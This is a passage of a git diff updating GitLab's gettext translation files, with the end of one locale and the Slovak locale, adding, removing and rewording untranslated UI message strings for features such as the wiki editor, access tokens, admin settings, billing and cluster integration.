msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/sk_SK/gitlab.po b/locale/sk_SK/gitlab.po
index da6b9ebeef6..22860eb3ea5 100644
--- a/locale/sk_SK/gitlab.po
+++ b/locale/sk_SK/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: sk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:47\n"
+"PO-Revision-Date: 2021-07-01 21:33\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -93,6 +90,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -341,13 +341,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -547,6 +540,30 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -594,6 +611,13 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -788,10 +812,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -963,6 +987,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -996,9 +1023,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1115,12 +1139,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1151,6 +1169,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1690,9 +1711,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1753,18 +1771,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1969,13 +1978,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1993,16 +2002,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2122,6 +2131,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2131,6 +2143,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2194,6 +2209,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,19 +2587,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2593,7 +2614,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2602,10 +2623,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3440,6 +3473,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3599,9 +3635,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3818,6 +3851,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3974,9 +4010,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4253,9 +4286,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4353,15 +4383,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4944,9 +4965,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5334,6 +5352,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5961,6 +5994,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,10 +6046,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6181,9 +6220,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6289,15 +6325,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6574,6 +6610,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6676,9 +6715,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6706,6 +6742,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7264,15 +7273,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
